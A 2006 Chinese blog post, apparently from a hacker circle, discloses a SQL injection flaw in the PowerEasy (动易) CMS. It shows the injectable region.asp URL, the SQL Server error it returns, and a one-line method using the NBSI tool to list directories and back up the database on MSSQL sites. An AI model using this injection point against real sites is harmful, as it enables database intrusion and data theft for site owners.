动易的漏洞又冒出来了

Post by amxku on 2006-11-19, 22:41. 杂七杂八

信息来源:h4x0r's blog

前段时间就知道动易不止一个洞,这又被人放出来,
通杀ACC,MSSQL


http://site.com/region.asp?country=tt&city=whytt&province=shi'

后面就是SQL语句啦

返回信息：
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 'shi'' 之前有未闭合的引号。
/region.asp，行 32

针对mssql的
NBSI 直接列目录 >备份> ok!

武汉滴撒,额不是武汉人哈,现在在武汉打工而已,
你是武汉滴黑客?

Post by NET-FREEMAN(221.234.2*.*) on 2006-11-20, 09:52 Quote #1

..................

Post by amxku(59.61.*.*) on 2006-11-20, 10:45 Quote #2